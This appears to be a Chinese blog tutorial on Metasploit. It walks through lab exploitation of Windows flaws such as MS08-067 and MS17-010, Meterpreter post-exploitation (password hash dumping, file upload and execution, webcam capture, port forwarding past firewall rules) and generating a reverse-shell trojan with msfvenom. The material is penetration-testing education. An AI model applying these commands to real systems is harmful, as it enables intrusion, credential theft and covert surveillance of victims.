01 初始MSF
简介
Metasploit 就是一个漏洞框架. 它的全称叫做 The Metasploit Framework ,简称MSF.是一个免费,可下载的框架 ,通过它可以很容易地获取,开发并对内外网漏洞实施攻击.其本身携带数2000多个已知漏洞的专业级别漏洞工具.
如何进入MSF
打开kali 其内部自带MSF 使用如下命令进行更新
apt-get install metasploit-framework
然后输入 msfconsole 进入该工具
如果在上方执行更新命令出错 可以去看我的另一篇博客,希望对你有所帮助
注意: 每次进入MSF时图片都是不一样的,所以不用纠结对错
术语普及
进入MSF后 会出现如下图示
其中方框内数字对应模块含义如下:
- exploits : 攻击模块
- auxiliary : 信息扫描模块/辅助模块
- post : 后渗透模块
- payload : 攻击载荷
- encoders : 编码模块
-
渗透攻击(Exploit)
渗透攻击是指由攻击者或者渗透测试者利用系统、应用或服务中的安全漏洞,所进行的攻击行为。
流行的攻击技术包括:缓冲区溢出、Web应用程序漏洞攻击,以及利用配置错误等。
-
攻击载荷(Payload)
攻击载何是我们期望目标系统在被渗透攻击后而执行的代码。在MSF框架中可以自由的选择、传送和植入。比如,反弹式shell是一种从目标主机到攻击主机创建网络连接,并提供命令行shell的攻击载荷。bind shell攻击载荷则在目标主机上将命令行shell绑定到一个打开的监听端口,攻击者可以连接这些端口来取得shell交互。
-
溢出代码(Shellcode)
shellcode是在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令后,才会提供一个命令行shell或者Meterpreter shell,这也是shellcode名称的由来。
-
模块(Module)
在MSF中,一个模块是指MSF框架中所使用的一段软件代码组件。在某些时候,你可能会使用一个渗透攻击模块(Exploit module),也就是用于实际发起渗透攻击的软件组件。而在其它时候,则可能使用一个辅助模块(auxiliary module),用来扫描一些诸如扫描或系统查点的攻击动作。
-
监听器(Listener)
监听器是MSF中用来等待连入网络连接的组件。举例来说,在目标主机被渗透攻击之后,它可能会通过互联网回连到攻击主机上,而监听器组件在攻击主机上等待被渗透攻击的系统来连接,并负责处理这些网络连接。
02目录结构
Rex
Rex 是 Metasploit 框架中的一个核心库,提供了许多底层功能和工具,用于处理各种网络协议、编码、加密等操作,为上层的MSF CORE等组件提供基础支持,简化了渗透测试工具开发过程中对底层网络和系统交互的处理。
PLUGINS
PLUGINS即插件,插件可以扩展 Metasploit 框架的功能,通过与MSF BASE等部分交互,为框架添加额外的特性和能力,满足不同用户的特定需求
其他不必过多了解
03 MSF基本命令
? 显示帮助菜单
| 命令 | 功能 |
|---|
| ? | 显示帮助菜单 |
| search | 搜索对应的目录结构 |
| use | 进入某模块 比如 use exploit/windows/ftp/xlink_client |
| back | 退出模块 注意:在模块里面也可以使用search命令 |
| info | 显示漏洞详细信息 比如: info exploit/unix/webapp/thinkphp_rce 可查看漏洞版本 |
| show | show options 显示使用模块需要进行的配置选项 |
| 配置中名词 | Proxies 代理 , RHOSTS 目标地址 |
| payloads (Linux/x64/metasploit_reverse_up) | 这里指开监听的方式 正向为靶场开监听并发shell文件 攻击主机连接 ( bind) 反向就是攻击主机开监听,靶机 连接并发shell文件 reverse |
| set | 设置变量 比如 set lport 6666 |
| setg | 设置全局变量 除非关闭重新启动 否则RHOST会保留 |
| run | 直接运行脚本 |
| unset unsetg | 解除变量设置 后者为解除全局变量 |
set payload 时双击两次table键可以看见可用的匹配的payload
比如set payload /windows/xss/ 后面不知道 即可双击table 键来查询
-
exploits模块
命名规则: 系统/服务/名称 例如 : windows/smb/ms08_067_netapi
RHOST: 目标主机IP地址
RPORT: 目标主机连接端口
Payload: 有效的载荷,成功后返回shell
LHOST : 攻击者的IP地址
LPORT: 攻击者的端口
-
Payloads模块
是在使用一个模块之后再去使用的
命名规则: 系统/类型/名称
例如:Windows/dllinject/reverse_up
类型命名规则:
shell : 上传一个shell
dllinject : 注入一个dll到进程
patchup*** : 修补漏洞
upexec : 上传并执行一个文件
meterpreter: 高级的payload
vncinject : 高级的payload
passive : 高级的payload
-
名称命名规则:
shell_find_tag: 在一个已建立的连接上以创建一个shell
shell_reverse_tcp : 反向连接到攻击者主机并创建一个shell
bind_tcp: 监听一个tcp连接
reverse_tcp: 反向建立tcp连接
add_user : 创建一个新用户并添加到管理组
xxx_ipv6_tcp: 基于IPV6
XXX_nonx_tcp: no execute或者win7
xxx_ord_tcp: 有序payload
xxx_tcp_allports:在所有可能的端口
04 实例演示
MS08-067(使用该漏洞 渗透 windowsxp 系统)
- 首先 msfconcole 进入msf
- 然后使用 search 命令进行搜索
复制代码
- 进入后 使用 show options 命令进行查看选项配置 required 对应参数为 yes 表明该项需要必须进行配置
- 使用 set 命令对所需项进行配置 根据术语可知 Rhost 指的是目标地址
复制代码
- 由上图 当出现 meterpreter> 这样的字符 说明成功渗透并获取权限
- 使用 ipconfig 命令 即可查看目标机器的网络配置
- 这里要注意的是 该终端属于后渗透终端 与Windows上面的 cmd 不是一个东西 在该终端上可以通过输入 ? 来查询执行指令
- 简单普及几个指令
- getuid : 查看当前会话所属用户
- getsystem : 提升会话权限到 System
- hashdump : 获取目标主机的密码 以哈希形式
复制代码
- 如果对该终端不熟悉的 可以使用 shell 指令 来进入 cmd 终端
复制代码
如此 第一个漏洞就成功实现权限的拿取
MS10-018
- 还是同样的步骤 首先使用 search 命令搜索对应的漏洞编号 根据结果进入需求的漏洞模块中
复制代码
- 随后使用 info 命令查看漏洞具体信息 发现 该漏洞是一个IE 浏览器的漏洞
- 使用 show options 命令进行配置查看
复制代码
- 注意: 当存在 SRVHOST 这个配置选项时 表明要配置攻击主机的地址
复制代码
使用 run 命令 出现如下图所示
- 在 目标主机 IE 浏览器 上输入该 URL 回车发现 无法回显 或者没有拿取成功
- 此时 可以将 payload 换为 windows/meterpreter/bind_tcp 即目标主机不连接我们 我们去连接它
- show options 输入目标主机地址
- 使用 run 命令
- 此时发现还是 无法回显 切换端口为80 发现成功回显
复制代码
可以去看图片 , 什么情况下就表明会话创建成功 , 拿取了权限
此时 发现 上图中提到了 成功创建了 session 我们可以使用 sessions 指令来查看后台的session 会话
使用 sessions -i 编号 即可进入指定的会话
- 当我们需要进行其他操作 并且还想保留 该会话时 使用 backgroud 指令 来保留 使用 exit 指令会完全退出 不保留会话
复制代码
MS15 - 034
- 这个漏洞言简意赅 是要告诉读者 不是MSF 所有的模块都是获取会话 权限的 比如该脚本 scanner/http/ms15_034_http_sys_memory_dump
- 他只要一 ping 目标主机就会蓝屏 而不是获取权限
- 具体复现过程可以自己去尝试 如果发生错误 可以尝试ping 一下目标主机 如果不能ping 通 肯定无法成功实现
复制代码
MS17-010
- 同样的步骤 search 找到脚本 use 进入脚本 show options 来查看所需配置
复制代码
- set 设置 RHOSTS 为目标主机 IP , run 指令运行脚本
复制代码
- 出现上图现象 表明存在端口占用 set lport 端口号 修改即可 成功获取权限
复制代码
CVE-2020-0796
- 这里由于 MSF 上面的脚本无法打击成功,所以 在网上重新找了一个脚本来尝试 具体可以自己查询 下面是我在复现时候的一些收获和注意点,分享给大家
复制代码
- 当某框架脚本无法成功拿取权限时 , 可以尝试更换端口和连接的方式 比如正向换反向
- 批量替换脚本 vim 中 %s/bug/USER+pau/g 这句命令的意思时全局替换bug 为 USER+pau
- [%]: 表示替换范围为全部语句 *
: 是 substitute(替换)命令的标识,用于启动替换功能。- [g] : 是全局(global)替换的标志,作用是在同一行内如果多次出现目标字符串 “bug”,会全部替换(如果不加 g,默认只替换每行的第一个匹配项)。
- exploit/multi/handler 脚本为MSF 中的监听脚本
- 一定要注意木马与监听 所使用payload 的一致性 要正向都用正向 反之也一样
05 (auxiliary)辅助模块
简单的信息收集操作
1.whois 可直接在 MSF 使用 比如 whois 114.114.114.114 结果如下图所示:
-
也可以用来搜索邮箱, DNS 解析记录 还自带 Nmap 使用的命令和外部的大差不差,
-
也可以进行端口扫描,输入posrscan 关键字进行搜索
-
也可以进行 ssh 或者 MySQL服务的爆破 这里以 ssh 做演示
- 首先搜索关键词 ssh_login 然后选择对应脚本 输入用户名和密码 或者 相对应的字典来进行爆破
- 下面图片中显示了所需要配置的选项 以及成功后的显示特征字符 它会将成功后的会话放在后台
- 通过sessions 命令来查看
复制代码
上传文件 (在获取会话之后)
- 假设我们有一个钓鱼文件 想要上传到目标机器 使用命令如下
- upload /root/cc.txt C:/ 将攻击机上的文件 上传到C盘
- 当想要上传文件夹时 加 -r 参数即可
复制代码
如下图所示: 文件成功上传
下载文件(在获取会话之后)
- 1. 首先使用 shell 命令进入 cmd
- 2. 使用dir 来查看 所处位置
- 3. 使用 cd 命令来查找并移动到目标文件所在处进行下载
- download "目标主机文件路径/名称" "攻击机路径"
复制代码
执行文件 (在获取会话之后)
直接给出命令如下
- execute -f "执行文件路径"
- execute -f cmd -c "whoami"
- 这里 f 指 file 即文件 -c 指 command 即命令
复制代码
进程迁移(注入) (在获取会话之后)
在上方执行文件时 我们会发现有时会执行失败 这里与进程相关的一种可能就是会话所处的用户和实际目标机器的用户不同 因为不同用户在同一个电脑上 桌面是不同的 所以会出现错误 , 那么如何解决呢
- 1.首先使用 getuid 命令查看所处会话用户
- 2.使用 ps 命令查看进程 找到与现在用户不同的进程
- 3.使用 migrate 对应进程编号 来进入 再次执行 getuid 指令 即可改变用户
- 4. 要注意 该种方法只能用于你获取的用户比目标机器现在的用户权限高的情况 如果权限低将无法进行迁移
复制代码
远程控制 (在获取会话之后)
- 使用 run vnc 命令即可打开远程桌面的图片 但是只能看 不能操作
- 如果想要 进行操作 vi /usr/share/metasploit-framework/modules/post/multi/manage
- 将图片中的 蓝色注释符删掉 即可进行操作
复制代码
端口流量转发(在获取会话之后)
- 解决问题: 靶机在3389端口开放一个服务,但是因为网络策略限制无法进行连接 ,此时可以将本地的6666端口
- 与其进行端口流量转发的绑定 这样 访问本地的6666 就相当与访问靶机的3389端口 可能可以绕过端口的防护策略
复制代码
- portfwd add -l 3389 -p 6666 -r 156.135.556.165
- -l为 -locate -r 为 --remote
- 如果要删除 执行指令时将 add 换为 delete 即可
复制代码
搜索文件(在获取会话之后)
- search *.txt 搜索所有txt后缀的文件
复制代码
补充 : 在 meterpreter > run post/windows/manag/enable_rdp 可以直接打开远程桌面
run post/windows/manag/webcam 查看摄像头 是通过一张一张图片来看
木马生成 (详情参考msfvenom 基本使用.pdf)
这里就通过一个例子来演示 简单生成木马并进行使用的总流程
-
通过 msfvenom 来生成木马并存放
如图: msfvenom -p 脚本 LHOST= 攻击机IP` LPORT=攻击机端口 -f > 攻击机路径 -
然后在目标机器上面对该网站进行访问 木马就会成功下载
-
在攻击机上创建一个监听 要求payload 以及端口等都必须与木马创建时保持一致即可
-
这样就可以通过木马拿到权限会话了